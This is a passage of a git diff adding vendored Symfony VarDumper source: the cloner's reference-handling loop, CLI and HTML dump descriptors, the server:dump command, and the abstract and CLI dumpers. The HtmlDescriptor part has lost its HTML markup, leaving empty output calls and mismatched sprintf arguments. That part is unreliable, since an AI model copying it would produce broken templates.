Unique string used to detect the special $GLOBALS variable + } + $arrayStub = new Stub(); + $arrayStub->type = Stub::TYPE_ARRAY; + $fromObjCast = false; + + for ($i = 0; $i < $len; ++$i) { + // Detect when we move on to the next tree depth + if ($i > $currentDepthFinalIndex) { + ++$currentDepth; + $currentDepthFinalIndex = $len - 1; + if ($currentDepth >= $minDepth) { + $minimumDepthReached = true; + } + } + + $refs = $vals = $queue[$i]; + if (\PHP_VERSION_ID < 70200 && empty($indexedArrays[$i])) { + // see https://wiki.php.net/rfc/convert_numeric_keys_in_object_array_casts + foreach ($vals as $k => $v) { + if (\is_int($k)) { + continue; + } + foreach ([$k => true] as $gk => $gv) { + } + if ($gk !== $k) { + $fromObjCast = true; + $refs = $vals = array_values($queue[$i]); + break; + } + } + } + foreach ($vals as $k => $v) { + // $v is the original value or a stub object in case of hard references + + if (\PHP_VERSION_ID >= 70400) { + $zvalIsRef = null !== \ReflectionReference::fromArrayElement($vals, $k); + } else { + $refs[$k] = $cookie; + $zvalIsRef = $vals[$k] === $cookie; + } + + if ($zvalIsRef) { + $vals[$k] = &$stub; // Break hard references to make $queue completely + unset($stub); // independent from the original structure + if ($v instanceof Stub && isset($hardRefs[spl_object_id($v)])) { + $vals[$k] = $refs[$k] = $v; + if ($v->value instanceof Stub && (Stub::TYPE_OBJECT === $v->value->type || Stub::TYPE_RESOURCE === $v->value->type)) { + ++$v->value->refCount; + } + ++$v->refCount; + continue; + } + $refs[$k] = $vals[$k] = new Stub(); + $refs[$k]->value = $v; + $h = spl_object_id($refs[$k]); + $hardRefs[$h] = &$refs[$k]; + $values[$h] = $v; + $vals[$k]->handle = ++$refsCounter; + } + // Create $stub when the original value $v can not be used directly + // If $v is a nested structure, put that structure in array $a + switch (true) { + case null === $v: + case \is_bool($v): + case \is_int($v): + case \is_float($v): + continue 2; + case \is_string($v): + if ('' === $v) { + continue 2; + } + if (!preg_match('//u', $v)) { + $stub = new Stub(); + $stub->type = Stub::TYPE_STRING; + $stub->class = Stub::STRING_BINARY; + if (0 <= $maxString && 0 < $cut = \strlen($v) - $maxString) { + $stub->cut = $cut; + $stub->value = substr($v, 0, -$cut); + } else { + $stub->value = $v; + } + } elseif (0 <= $maxString && isset($v[1 + ($maxString >> 2)]) && 0 < $cut = mb_strlen($v, 'UTF-8') - $maxString) { + $stub = new Stub(); + $stub->type = Stub::TYPE_STRING; + $stub->class = Stub::STRING_UTF8; + $stub->cut = $cut; + $stub->value = mb_substr($v, 0, $maxString, 'UTF-8'); + } else { + continue 2; + } + $a = null; + break; + + case \is_array($v): + if (!$v) { + continue 2; + } + $stub = $arrayStub; + $stub->class = Stub::ARRAY_INDEXED; + + $j = -1; + foreach ($v as $gk => $gv) { + if ($gk !== ++$j) { + $stub->class = Stub::ARRAY_ASSOC; + break; + } + } + $a = $v; + + if (Stub::ARRAY_ASSOC === $stub->class) { + // Copies of $GLOBALS have very strange behavior, + // let's detect them with some black magic + $a[$gid] = true; + + // Happens with copies of $GLOBALS + if (isset($v[$gid])) { + unset($v[$gid]); + $a = []; + foreach ($v as $gk => &$gv) { + $a[$gk] = &$gv; + } + unset($gv); + } else { + $a = $v; + } + } elseif (\PHP_VERSION_ID < 70200) { + $indexedArrays[$len] = true; + } + break; + + case \is_object($v): + case $v instanceof \__PHP_Incomplete_Class: + if (empty($objRefs[$h = spl_object_id($v)])) { + $stub = new Stub(); + $stub->type = Stub::TYPE_OBJECT; + $stub->class = \get_class($v); + $stub->value = $v; + $stub->handle = $h; + $a = $this->castObject($stub, 0 < $i); + if ($v !== $stub->value) { + if (Stub::TYPE_OBJECT !== $stub->type || null === $stub->value) { + break; + } + $stub->handle = $h = spl_object_id($stub->value); + } + $stub->value = null; + if (0 <= $maxItems && $maxItems <= $pos && $minimumDepthReached) { + $stub->cut = \count($a); + $a = null; + } + } + if (empty($objRefs[$h])) { + $objRefs[$h] = $stub; + $objects[] = $v; + } else { + $stub = $objRefs[$h]; + ++$stub->refCount; + $a = null; + } + break; + + default: // resource + if (empty($resRefs[$h = (int) $v])) { + $stub = new Stub(); + $stub->type = Stub::TYPE_RESOURCE; + if ('Unknown' === $stub->class = @get_resource_type($v)) { + $stub->class = 'Closed'; + } + $stub->value = $v; + $stub->handle = $h; + $a = $this->castResource($stub, 0 < $i); + $stub->value = null; + if (0 <= $maxItems && $maxItems <= $pos && $minimumDepthReached) { + $stub->cut = \count($a); + $a = null; + } + } + if (empty($resRefs[$h])) { + $resRefs[$h] = $stub; + } else { + $stub = $resRefs[$h]; + ++$stub->refCount; + $a = null; + } + break; + } + + if ($a) { + if (!$minimumDepthReached || 0 > $maxItems) { + $queue[$len] = $a; + $stub->position = $len++; + } elseif ($pos < $maxItems) { + if ($maxItems < $pos += \count($a)) { + $a = \array_slice($a, 0, $maxItems - $pos, true); + if ($stub->cut >= 0) { + $stub->cut += $pos - $maxItems; + } + } + $queue[$len] = $a; + $stub->position = $len++; + } elseif ($stub->cut >= 0) { + $stub->cut += \count($a); + $stub->position = 0; + } + } + + if ($arrayStub === $stub) { + if ($arrayStub->cut) { + $stub = [$arrayStub->cut, $arrayStub->class => $arrayStub->position]; + $arrayStub->cut = 0; + } elseif (isset(self::$arrayCache[$arrayStub->class][$arrayStub->position])) { + $stub = self::$arrayCache[$arrayStub->class][$arrayStub->position]; + } else { + self::$arrayCache[$arrayStub->class][$arrayStub->position] = $stub = [$arrayStub->class => $arrayStub->position]; + } + } + + if ($zvalIsRef) { + $refs[$k]->value = $stub; + } else { + $vals[$k] = $stub; + } + } + + if ($fromObjCast) { + $fromObjCast = false; + $refs = $vals; + $vals = []; + $j = -1; + foreach ($queue[$i] as $k => $v) { + foreach ([$k => true] as $gk => $gv) { + } + if ($gk !== $k) { + $vals = (object) $vals; + $vals->{$k} = $refs[++$j]; + $vals = (array) $vals; + } else { + $vals[$k] = $refs[++$j]; + } + } + } + + $queue[$i] = $vals; + } + + foreach ($values as $h => $v) { + $hardRefs[$h] = $v; + } + + return $queue; + } +} diff --git a/vendor/symfony/var-dumper/Command/Descriptor/CliDescriptor.php b/vendor/symfony/var-dumper/Command/Descriptor/CliDescriptor.php new file mode 100644 index 0000000..dc77d03 --- /dev/null +++ b/vendor/symfony/var-dumper/Command/Descriptor/CliDescriptor.php @@ -0,0 +1,88 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Command\Descriptor; + +use Symfony\Component\Console\Formatter\OutputFormatterStyle; +use Symfony\Component\Console\Input\ArrayInput; +use Symfony\Component\Console\Output\OutputInterface; +use Symfony\Component\Console\Style\SymfonyStyle; +use Symfony\Component\VarDumper\Cloner\Data; +use Symfony\Component\VarDumper\Dumper\CliDumper; + +/** + * Describe collected data clones for cli output. + * + * @author Maxime Steinhausser + * + * @final + */ +class CliDescriptor implements DumpDescriptorInterface +{ + private $dumper; + private $lastIdentifier; + private $supportsHref; + + public function __construct(CliDumper $dumper) + { + $this->dumper = $dumper; + $this->supportsHref = method_exists(OutputFormatterStyle::class, 'setHref'); + } + + public function describe(OutputInterface $output, Data $data, array $context, int $clientId): void + { + $io = $output instanceof SymfonyStyle ? $output : new SymfonyStyle(new ArrayInput([]), $output); + $this->dumper->setColors($output->isDecorated()); + + $rows = [['date', date('r', $context['timestamp'])]]; + $lastIdentifier = $this->lastIdentifier; + $this->lastIdentifier = $clientId; + + $section = "Received from client #$clientId"; + if (isset($context['request'])) { + $request = $context['request']; + $this->lastIdentifier = $request['identifier']; + $section = sprintf('%s %s', $request['method'], $request['uri']); + if ($controller = $request['controller']) { + $rows[] = ['controller', rtrim($this->dumper->dump($controller, true), "\n")]; + } + } elseif (isset($context['cli'])) { + $this->lastIdentifier = $context['cli']['identifier']; + $section = '$ '.$context['cli']['command_line']; + } + + if ($this->lastIdentifier !== $lastIdentifier) { + $io->section($section); + } + + if (isset($context['source'])) { + $source = $context['source']; + $sourceInfo = sprintf('%s on line %d', $source['name'], $source['line']); + $fileLink = $source['file_link'] ?? null; + if ($this->supportsHref && $fileLink) { + $sourceInfo = sprintf('%s', $fileLink, $sourceInfo); + } + $rows[] = ['source', $sourceInfo]; + $file = $source['file_relative'] ?? $source['file']; + $rows[] = ['file', $file]; + } + + $io->table([], $rows); + + if (!$this->supportsHref && isset($fileLink)) { + $io->writeln(['Open source in your IDE/browser:', $fileLink]); + $io->newLine(); + } + + $this->dumper->dump($data); + $io->newLine(); + } +} diff --git a/vendor/symfony/var-dumper/Command/Descriptor/DumpDescriptorInterface.php b/vendor/symfony/var-dumper/Command/Descriptor/DumpDescriptorInterface.php new file mode 100644 index 0000000..267d27b --- /dev/null +++ b/vendor/symfony/var-dumper/Command/Descriptor/DumpDescriptorInterface.php @@ -0,0 +1,23 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Command\Descriptor; + +use Symfony\Component\Console\Output\OutputInterface; +use Symfony\Component\VarDumper\Cloner\Data; + +/** + * @author Maxime Steinhausser + */ +interface DumpDescriptorInterface +{ + public function describe(OutputInterface $output, Data $data, array $context, int $clientId): void; +} diff --git a/vendor/symfony/var-dumper/Command/Descriptor/HtmlDescriptor.php b/vendor/symfony/var-dumper/Command/Descriptor/HtmlDescriptor.php new file mode 100644 index 0000000..35a203b --- /dev/null +++ b/vendor/symfony/var-dumper/Command/Descriptor/HtmlDescriptor.php @@ -0,0 +1,119 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Command\Descriptor; + +use Symfony\Component\Console\Output\OutputInterface; +use Symfony\Component\VarDumper\Cloner\Data; +use Symfony\Component\VarDumper\Dumper\HtmlDumper; + +/** + * Describe collected data clones for html output. + * + * @author Maxime Steinhausser + * + * @final + */ +class HtmlDescriptor implements DumpDescriptorInterface +{ + private $dumper; + private $initialized = false; + + public function __construct(HtmlDumper $dumper) + { + $this->dumper = $dumper; + } + + public function describe(OutputInterface $output, Data $data, array $context, int $clientId): void + { + if (!$this->initialized) { + $styles = file_get_contents(__DIR__.'/../../Resources/css/htmlDescriptor.css'); + $scripts = file_get_contents(__DIR__.'/../../Resources/js/htmlDescriptor.js'); + $output->writeln(""); + $this->initialized = true; + } + + $title = '-'; + if (isset($context['request'])) { + $request = $context['request']; + $controller = "{$this->dumper->dump($request['controller'], true, ['maxDepth' => 0])}"; + $title = sprintf('%s %s', $request['method'], $uri = $request['uri'], $uri); + $dedupIdentifier = $request['identifier']; + } elseif (isset($context['cli'])) { + $title = '$ '.$context['cli']['command_line']; + $dedupIdentifier = $context['cli']['identifier']; + } else { + $dedupIdentifier = uniqid('', true); + } + + $sourceDescription = ''; + if (isset($context['source'])) { + $source = $context['source']; + $projectDir = $source['project_dir'] ?? null; + $sourceDescription = sprintf('%s on line %d', $source['name'], $source['line']); + if (isset($source['file_link'])) { + $sourceDescription = sprintf('%s', $source['file_link'], $sourceDescription); + } + } + + $isoDate = $this->extractDate($context, 'c'); + $tags = array_filter([ + 'controller' => $controller ?? null, + 'project dir' => $projectDir ?? null, + ]); + + $output->writeln(<< +
+
+

$title

+ +
+ {$this->renderTags($tags)} +
+
+

+ $sourceDescription +

+ {$this->dumper->dump($data, true)} +
+ +HTML + ); + } + + private function extractDate(array $context, string $format = 'r'): string + { + return date($format, $context['timestamp']); + } + + private function renderTags(array $tags): string + { + if (!$tags) { + return ''; + } + + $renderedTags = ''; + foreach ($tags as $key => $value) { + $renderedTags .= sprintf('
  • %s%s
  • ', $key, $value); + } + + return << +
      + $renderedTags +
    + +HTML; + } +} diff --git a/vendor/symfony/var-dumper/Command/ServerDumpCommand.php b/vendor/symfony/var-dumper/Command/ServerDumpCommand.php new file mode 100644 index 0000000..c8a61da --- /dev/null +++ b/vendor/symfony/var-dumper/Command/ServerDumpCommand.php @@ -0,0 +1,99 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Command; + +use Symfony\Component\Console\Command\Command; +use Symfony\Component\Console\Exception\InvalidArgumentException; +use Symfony\Component\Console\Input\InputInterface; +use Symfony\Component\Console\Input\InputOption; +use Symfony\Component\Console\Output\OutputInterface; +use Symfony\Component\Console\Style\SymfonyStyle; +use Symfony\Component\VarDumper\Cloner\Data; +use Symfony\Component\VarDumper\Command\Descriptor\CliDescriptor; +use Symfony\Component\VarDumper\Command\Descriptor\DumpDescriptorInterface; +use Symfony\Component\VarDumper\Command\Descriptor\HtmlDescriptor; +use Symfony\Component\VarDumper\Dumper\CliDumper; +use Symfony\Component\VarDumper\Dumper\HtmlDumper; +use Symfony\Component\VarDumper\Server\DumpServer; + +/** + * Starts a dump server to collect and output dumps on a single place with multiple formats support. + * + * @author Maxime Steinhausser + * + * @final + */ +class ServerDumpCommand extends Command +{ + protected static $defaultName = 'server:dump'; + + private $server; + + /** @var DumpDescriptorInterface[] */ + private $descriptors; + + public function __construct(DumpServer $server, array $descriptors = []) + { + $this->server = $server; + $this->descriptors = $descriptors + [ + 'cli' => new CliDescriptor(new CliDumper()), + 'html' => new HtmlDescriptor(new HtmlDumper()), + ]; + + parent::__construct(); + } + + protected function configure() + { + $availableFormats = implode(', ', array_keys($this->descriptors)); + + $this + ->addOption('format', null, InputOption::VALUE_REQUIRED, sprintf('The output format (%s)', $availableFormats), 'cli') + ->setDescription('Starts a dump server that collects and displays dumps in a single place') + ->setHelp(<<<'EOF' +%command.name% starts a dump server that collects and displays +dumps in a single place for debugging you application: + + php %command.full_name% + +You can consult dumped data in HTML format in your browser by providing the --format=html option +and redirecting the output to a file: + + php %command.full_name% --format="html" > dump.html + +EOF + ) + ; + } + + protected function execute(InputInterface $input, OutputInterface $output): int + { + $io = new SymfonyStyle($input, $output); + $format = $input->getOption('format'); + + if (!$descriptor = $this->descriptors[$format] ?? null) { + throw new InvalidArgumentException(sprintf('Unsupported format "%s".', $format)); + } + + $errorIo = $io->getErrorStyle(); + $errorIo->title('Symfony Var Dumper Server'); + + $this->server->start(); + + $errorIo->success(sprintf('Server listening on %s', $this->server->getHost())); + $errorIo->comment('Quit the server with CONTROL-C.'); + + $this->server->listen(function (Data $data, array $context, int $clientId) use ($descriptor, $io) { + $descriptor->describe($io, $data, $context, $clientId); + }); + } +} diff --git a/vendor/symfony/var-dumper/Dumper/AbstractDumper.php b/vendor/symfony/var-dumper/Dumper/AbstractDumper.php new file mode 100644 index 0000000..766102e --- /dev/null +++ b/vendor/symfony/var-dumper/Dumper/AbstractDumper.php @@ -0,0 +1,212 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Dumper; + +use Symfony\Component\VarDumper\Cloner\Data; +use Symfony\Component\VarDumper\Cloner\DumperInterface; + +/** + * Abstract mechanism for dumping a Data object. + * + * @author Nicolas Grekas + */ +abstract class AbstractDumper implements DataDumperInterface, DumperInterface +{ + const DUMP_LIGHT_ARRAY = 1; + const DUMP_STRING_LENGTH = 2; + const DUMP_COMMA_SEPARATOR = 4; + const DUMP_TRAILING_COMMA = 8; + + public static $defaultOutput = 'php://output'; + + protected $line = ''; + protected $lineDumper; + protected $outputStream; + protected $decimalPoint; // This is locale dependent + protected $indentPad = ' '; + protected $flags; + + private $charset = ''; + + /** + * @param callable|resource|string|null $output A line dumper callable, an opened stream or an output path, defaults to static::$defaultOutput + * @param string|null $charset The default character encoding to use for non-UTF8 strings + * @param int $flags A bit field of static::DUMP_* constants to fine tune dumps representation + */ + public function __construct($output = null, string $charset = null, int $flags = 0) + { + $this->flags = $flags; + $this->setCharset($charset ?: ini_get('php.output_encoding') ?: ini_get('default_charset') ?: 'UTF-8'); + $this->decimalPoint = localeconv(); + $this->decimalPoint = $this->decimalPoint['decimal_point']; + $this->setOutput($output ?: static::$defaultOutput); + if (!$output && \is_string(static::$defaultOutput)) { + static::$defaultOutput = $this->outputStream; + } + } + + /** + * Sets the output destination of the dumps. + * + * @param callable|resource|string $output A line dumper callable, an opened stream or an output path + * + * @return callable|resource|string The previous output destination + */ + public function setOutput($output) + { + $prev = null !== $this->outputStream ? $this->outputStream : $this->lineDumper; + + if (\is_callable($output)) { + $this->outputStream = null; + $this->lineDumper = $output; + } else { + if (\is_string($output)) { + $output = fopen($output, 'wb'); + } + $this->outputStream = $output; + $this->lineDumper = [$this, 'echoLine']; + } + + return $prev; + } + + /** + * Sets the default character encoding to use for non-UTF8 strings. + * + * @param string $charset The default character encoding to use for non-UTF8 strings + * + * @return string The previous charset + */ + public function setCharset($charset) + { + $prev = $this->charset; + + $charset = strtoupper($charset); + $charset = null === $charset || 'UTF-8' === $charset || 'UTF8' === $charset ? 'CP1252' : $charset; + + $this->charset = $charset; + + return $prev; + } + + /** + * Sets the indentation pad string. + * + * @param string $pad A string that will be prepended to dumped lines, repeated by nesting level + * + * @return string The previous indent pad + */ + public function setIndentPad($pad) + { + $prev = $this->indentPad; + $this->indentPad = $pad; + + return $prev; + } + + /** + * Dumps a Data object. + * + * @param callable|resource|string|true|null $output A line dumper callable, an opened stream, an output path or true to return the dump + * + * @return string|null The dump as string when $output is true + */ + public function dump(Data $data, $output = null) + { + $this->decimalPoint = localeconv(); + $this->decimalPoint = $this->decimalPoint['decimal_point']; + + if ($locale = $this->flags & (self::DUMP_COMMA_SEPARATOR | self::DUMP_TRAILING_COMMA) ? setlocale(\LC_NUMERIC, 0) : null) { + setlocale(\LC_NUMERIC, 'C'); + } + + if ($returnDump = true === $output) { + $output = fopen('php://memory', 'r+b'); + } + if ($output) { + $prevOutput = $this->setOutput($output); + } + try { + $data->dump($this); + $this->dumpLine(-1); + + if ($returnDump) { + $result = stream_get_contents($output, -1, 0); + fclose($output); + + return $result; + } + } finally { + if ($output) { + $this->setOutput($prevOutput); + } + if ($locale) { + setlocale(\LC_NUMERIC, $locale); + } + } + + return null; + } + + /** + * Dumps the current line. + * + * @param int $depth The recursive depth in the dumped structure for the line being dumped, + * or -1 to signal the end-of-dump to the line dumper callable + */ + protected function dumpLine($depth) + { + ($this->lineDumper)($this->line, $depth, $this->indentPad); + $this->line = ''; + } + + /** + * Generic line dumper callback. + * + * @param string $line The line to write + * @param int $depth The recursive depth in the dumped structure + * @param string $indentPad The line indent pad + */ + protected function echoLine($line, $depth, $indentPad) + { + if (-1 !== $depth) { + fwrite($this->outputStream, str_repeat($indentPad, $depth).$line."\n"); + } + } + + /** + * Converts a non-UTF-8 string to UTF-8. + * + * @param string|null $s The non-UTF-8 string to convert + * + * @return string|null The string converted to UTF-8 + */ + protected function utf8Encode($s) + { + if (null === $s || preg_match('//u', $s)) { + return $s; + } + + if (!\function_exists('iconv')) { + throw new \RuntimeException('Unable to convert a non-UTF-8 string to UTF-8: required function iconv() does not exist. You should install ext-iconv or symfony/polyfill-iconv.'); + } + + if (false !== $c = @iconv($this->charset, 'UTF-8', $s)) { + return $c; + } + if ('CP1252' !== $this->charset && false !== $c = @iconv('CP1252', 'UTF-8', $s)) { + return $c; + } + + return iconv('CP850', 'UTF-8', $s); + } +} diff --git a/vendor/symfony/var-dumper/Dumper/CliDumper.php b/vendor/symfony/var-dumper/Dumper/CliDumper.php new file mode 100644 index 0000000..af5cafc --- /dev/null +++ b/vendor/symfony/var-dumper/Dumper/CliDumper.php @@ -0,0 +1,654 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Dumper; + +use Symfony\Component\VarDumper\Cloner\Cursor; +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * CliDumper dumps variables for command line output. + * + * @author Nicolas Grekas + */ +class CliDumper extends AbstractDumper +{ + public static $defaultColors; + public static $defaultOutput = 'php://stdout'; + + protected $colors; + protected $maxStringWidth = 0; + protected $styles = [ + // See http://en.wikipedia.org/wiki/ANSI_escape_code#graphics + 'default' => '0;38;5;208', + 'num' => '1;38;5;38', + 'const' => '1;38;5;208', + 'str' => '1;38;5;113', + 'note' => '38;5;38', + 'ref' => '38;5;247', + 'public' => '', + 'protected' => '', + 'private' => '', + 'meta' => '38;5;170', + 'key' => '38;5;113', + 'index' => '38;5;38', + ]; + + protected static $controlCharsRx = '/[\x00-\x1F\x7F]+/'; + protected static $controlCharsMap = [ + "\t" => '\t', + "\n" => '\n', + "\v" => '\v', + "\f" => '\f', + "\r" => '\r', + "\033" => '\e', + ]; + + protected $collapseNextHash = false; + protected $expandNextHash = false; + + private $displayOptions = [ + 'fileLinkFormat' => null, + ]; + + private $handlesHrefGracefully; + + /** + * {@inheritdoc} + */ + public function __construct($output = null, string $charset = null, int $flags = 0) + { + parent::__construct($output, $charset, $flags); + + if ('\\' === \DIRECTORY_SEPARATOR && !$this->isWindowsTrueColor()) { + // Use only the base 16 xterm colors when using ANSICON or standard Windows 10 CLI + $this->setStyles([ + 'default' => '31', + 'num' => '1;34', + 'const' => '1;31', + 'str' => '1;32', + 'note' => '34', + 'ref' => '1;30', + 'meta' => '35', + 'key' => '32', + 'index' => '34', + ]); + } + + $this->displayOptions['fileLinkFormat'] = ini_get('xdebug.file_link_format') ?: get_cfg_var('xdebug.file_link_format') ?: 'file://%f#L%l'; + } + + /** + * Enables/disables colored output. + * + * @param bool $colors + */ + public function setColors($colors) + { + $this->colors = (bool) $colors; + } + + /** + * Sets the maximum number of characters per line for dumped strings. + * + * @param int $maxStringWidth + */ + public function setMaxStringWidth($maxStringWidth) + { + $this->maxStringWidth = (int) $maxStringWidth; + } + + /** + * Configures styles. + * + * @param array $styles A map of style names to style definitions + */ + public function setStyles(array $styles) + { + $this->styles = $styles + $this->styles; + } + + /** + * Configures display options. + * + * @param array $displayOptions A map of display options to customize the behavior + */ + public function setDisplayOptions(array $displayOptions) + { + $this->displayOptions = $displayOptions + $this->displayOptions; + } + + /** + * {@inheritdoc} + */ + public function dumpScalar(Cursor $cursor, $type, $value) + { + $this->dumpKey($cursor); + + $style = 'const'; + $attr = $cursor->attr; + + switch ($type) { + case 'default': + $style = 'default'; + break; + + case 'integer': + $style = 'num'; + break; + + case 'double': + $style = 'num'; + + switch (true) { + case \INF === $value: $value = 'INF'; break; + case -\INF === $value: $value = '-INF'; break; + case is_nan($value): $value = 'NAN'; break; + default: + $value = (string) $value; + if (false === strpos($value, $this->decimalPoint)) { + $value .= $this->decimalPoint.'0'; + } + break; + } + break; + + case 'NULL': + $value = 'null'; + break; + + case 'boolean': + $value = $value ? 'true' : 'false'; + break; + + default: + $attr += ['value' => $this->utf8Encode($value)]; + $value = $this->utf8Encode($type); + break; + } + + $this->line .= $this->style($style, $value, $attr); + + $this->endValue($cursor); + } + + /** + * {@inheritdoc} + */ + public function dumpString(Cursor $cursor, $str, $bin, $cut) + { + $this->dumpKey($cursor); + $attr = $cursor->attr; + + if ($bin) { + $str = $this->utf8Encode($str); + } + if ('' === $str) { + $this->line .= '""'; + $this->endValue($cursor); + } else { + $attr += [ + 'length' => 0 <= $cut ? mb_strlen($str, 'UTF-8') + $cut : 0, + 'binary' => $bin, + ]; + $str = explode("\n", $str); + if (isset($str[1]) && !isset($str[2]) && !isset($str[1][0])) { + unset($str[1]); + $str[0] .= "\n"; + } + $m = \count($str) - 1; + $i = $lineCut = 0; + + if (self::DUMP_STRING_LENGTH & $this->flags) { + $this->line .= '('.$attr['length'].') '; + } + if ($bin) { + $this->line .= 'b'; + } + + if ($m) { + $this->line .= '"""'; + $this->dumpLine($cursor->depth); + } else { + $this->line .= '"'; + } + + foreach ($str as $str) { + if ($i < $m) { + $str .= "\n"; + } + if (0 < $this->maxStringWidth && $this->maxStringWidth < $len = mb_strlen($str, 'UTF-8')) { + $str = mb_substr($str, 0, $this->maxStringWidth, 'UTF-8'); + $lineCut = $len - $this->maxStringWidth; + } + if ($m && 0 < $cursor->depth) { + $this->line .= $this->indentPad; + } + if ('' !== $str) { + $this->line .= $this->style('str', $str, $attr); + } + if ($i++ == $m) { + if ($m) { + if ('' !== $str) { + $this->dumpLine($cursor->depth); + if (0 < $cursor->depth) { + $this->line .= $this->indentPad; + } + } + $this->line .= '"""'; + } else { + $this->line .= '"'; + } + if ($cut < 0) { + $this->line .= '…'; + $lineCut = 0; + } elseif ($cut) { + $lineCut += $cut; + } + } + if ($lineCut) { + $this->line .= '…'.$lineCut; + $lineCut = 0; + } + + if ($i > $m) { + $this->endValue($cursor); + } else { + $this->dumpLine($cursor->depth); + } + } + } + } + + /** + * {@inheritdoc} + */ + public function enterHash(Cursor $cursor, $type, $class, $hasChild) + { + if (null === $this->colors) { + $this->colors = $this->supportsColors(); + } + + $this->dumpKey($cursor); + $attr = $cursor->attr; + + if ($this->collapseNextHash) { + $cursor->skipChildren = true; + $this->collapseNextHash = $hasChild = false; + } + + $class = $this->utf8Encode($class); + if (Cursor::HASH_OBJECT === $type) { + $prefix = $class && 'stdClass' !== $class ? $this->style('note', $class, $attr).(empty($attr['cut_hash']) ? ' {' : '') : '{'; + } elseif (Cursor::HASH_RESOURCE === $type) { + $prefix = $this->style('note', $class.' resource', $attr).($hasChild ? ' {' : ' '); + } else { + $prefix = $class && !(self::DUMP_LIGHT_ARRAY & $this->flags) ? $this->style('note', 'array:'.$class).' [' : '['; + } + + if (($cursor->softRefCount || 0 < $cursor->softRefHandle) && empty($attr['cut_hash'])) { + $prefix .= $this->style('ref', (Cursor::HASH_RESOURCE === $type ? '@' : '#').(0 < $cursor->softRefHandle ? $cursor->softRefHandle : $cursor->softRefTo), ['count' => $cursor->softRefCount]); + } elseif ($cursor->hardRefTo && !$cursor->refIndex && $class) { + $prefix .= $this->style('ref', '&'.$cursor->hardRefTo, ['count' => $cursor->hardRefCount]); + } elseif (!$hasChild && Cursor::HASH_RESOURCE === $type) { + $prefix = substr($prefix, 0, -1); + } + + $this->line .= $prefix; + + if ($hasChild) { + $this->dumpLine($cursor->depth); + } + } + + /** + * {@inheritdoc} + */ + public function leaveHash(Cursor $cursor, $type, $class, $hasChild, $cut) + { + if (empty($cursor->attr['cut_hash'])) { + $this->dumpEllipsis($cursor, $hasChild, $cut); + $this->line .= Cursor::HASH_OBJECT === $type ? '}' : (Cursor::HASH_RESOURCE !== $type ? ']' : ($hasChild ? '}' : '')); + } + + $this->endValue($cursor); + } + + /** + * Dumps an ellipsis for cut children. + * + * @param bool $hasChild When the dump of the hash has child item + * @param int $cut The number of items the hash has been cut by + */ + protected function dumpEllipsis(Cursor $cursor, $hasChild, $cut) + { + if ($cut) { + $this->line .= ' …'; + if (0 < $cut) { + $this->line .= $cut; + } + if ($hasChild) { + $this->dumpLine($cursor->depth + 1); + } + } + } + + /** + * Dumps a key in a hash structure. + */ + protected function dumpKey(Cursor $cursor) + { + if (null !== $key = $cursor->hashKey) { + if ($cursor->hashKeyIsBinary) { + $key = $this->utf8Encode($key); + } + $attr = ['binary' => $cursor->hashKeyIsBinary]; + $bin = $cursor->hashKeyIsBinary ? 'b' : ''; + $style = 'key'; + switch ($cursor->hashType) { + default: + case Cursor::HASH_INDEXED: + if (self::DUMP_LIGHT_ARRAY & $this->flags) { + break; + } + $style = 'index'; + // no break + case Cursor::HASH_ASSOC: + if (\is_int($key)) { + $this->line .= $this->style($style, $key).' => '; + } else { + $this->line .= $bin.'"'.$this->style($style, $key).'" => '; + } + break; + + case Cursor::HASH_RESOURCE: + $key = "\0~\0".$key; + // no break + case Cursor::HASH_OBJECT: + if (!isset($key[0]) || "\0" !== $key[0]) { + $this->line .= '+'.$bin.$this->style('public', $key).': '; + } elseif (0 < strpos($key, "\0", 1)) { + $key = explode("\0", substr($key, 1), 2); + + switch ($key[0][0]) { + case '+': // User inserted keys + $attr['dynamic'] = true; + $this->line .= '+'.$bin.'"'.$this->style('public', $key[1], $attr).'": '; + break 2; + case '~': + $style = 'meta'; + if (isset($key[0][1])) { + parse_str(substr($key[0], 1), $attr); + $attr += ['binary' => $cursor->hashKeyIsBinary]; + } + break; + case '*': + $style = 'protected'; + $bin = '#'.$bin; + break; + default: + $attr['class'] = $key[0]; + $style = 'private'; + $bin = '-'.$bin; + break; + } + + if (isset($attr['collapse'])) { + if ($attr['collapse']) { + $this->collapseNextHash = true; + } else { + $this->expandNextHash = true; + } + } + + $this->line .= $bin.$this->style($style, $key[1], $attr).(isset($attr['separator']) ? $attr['separator'] : ': '); + } else { + // This case should not happen + $this->line .= '-'.$bin.'"'.$this->style('private', $key, ['class' => '']).'": '; + } + break; + } + + if ($cursor->hardRefTo) { + $this->line .= $this->style('ref', '&'.($cursor->hardRefCount ? $cursor->hardRefTo : ''), ['count' => $cursor->hardRefCount]).' '; + } + } + } + + /** + * Decorates a value with some style. + * + * @param string $style The type of style being applied + * @param string $value The value being styled + * @param array $attr Optional context information + * + * @return string The value with style decoration + */ + protected function style($style, $value, $attr = []) + { + if (null === $this->colors) { + $this->colors = $this->supportsColors(); + } + + if (null === $this->handlesHrefGracefully) { + $this->handlesHrefGracefully = 'JetBrains-JediTerm' !== getenv('TERMINAL_EMULATOR') && !getenv('KONSOLE_VERSION'); + } + + if (isset($attr['ellipsis'], $attr['ellipsis-type'])) { + $prefix = substr($value, 0, -$attr['ellipsis']); + if ('cli' === \PHP_SAPI && 'path' === $attr['ellipsis-type'] && isset($_SERVER[$pwd = '\\' === \DIRECTORY_SEPARATOR ? 'CD' : 'PWD']) && 0 === strpos($prefix, $_SERVER[$pwd])) { + $prefix = '.'.substr($prefix, \strlen($_SERVER[$pwd])); + } + if (!empty($attr['ellipsis-tail'])) { + $prefix .= substr($value, -$attr['ellipsis'], $attr['ellipsis-tail']); + $value = substr($value, -$attr['ellipsis'] + $attr['ellipsis-tail']); + } else { + $value = substr($value, -$attr['ellipsis']); + } + + $value = $this->style('default', $prefix).$this->style($style, $value); + + goto href; + } + 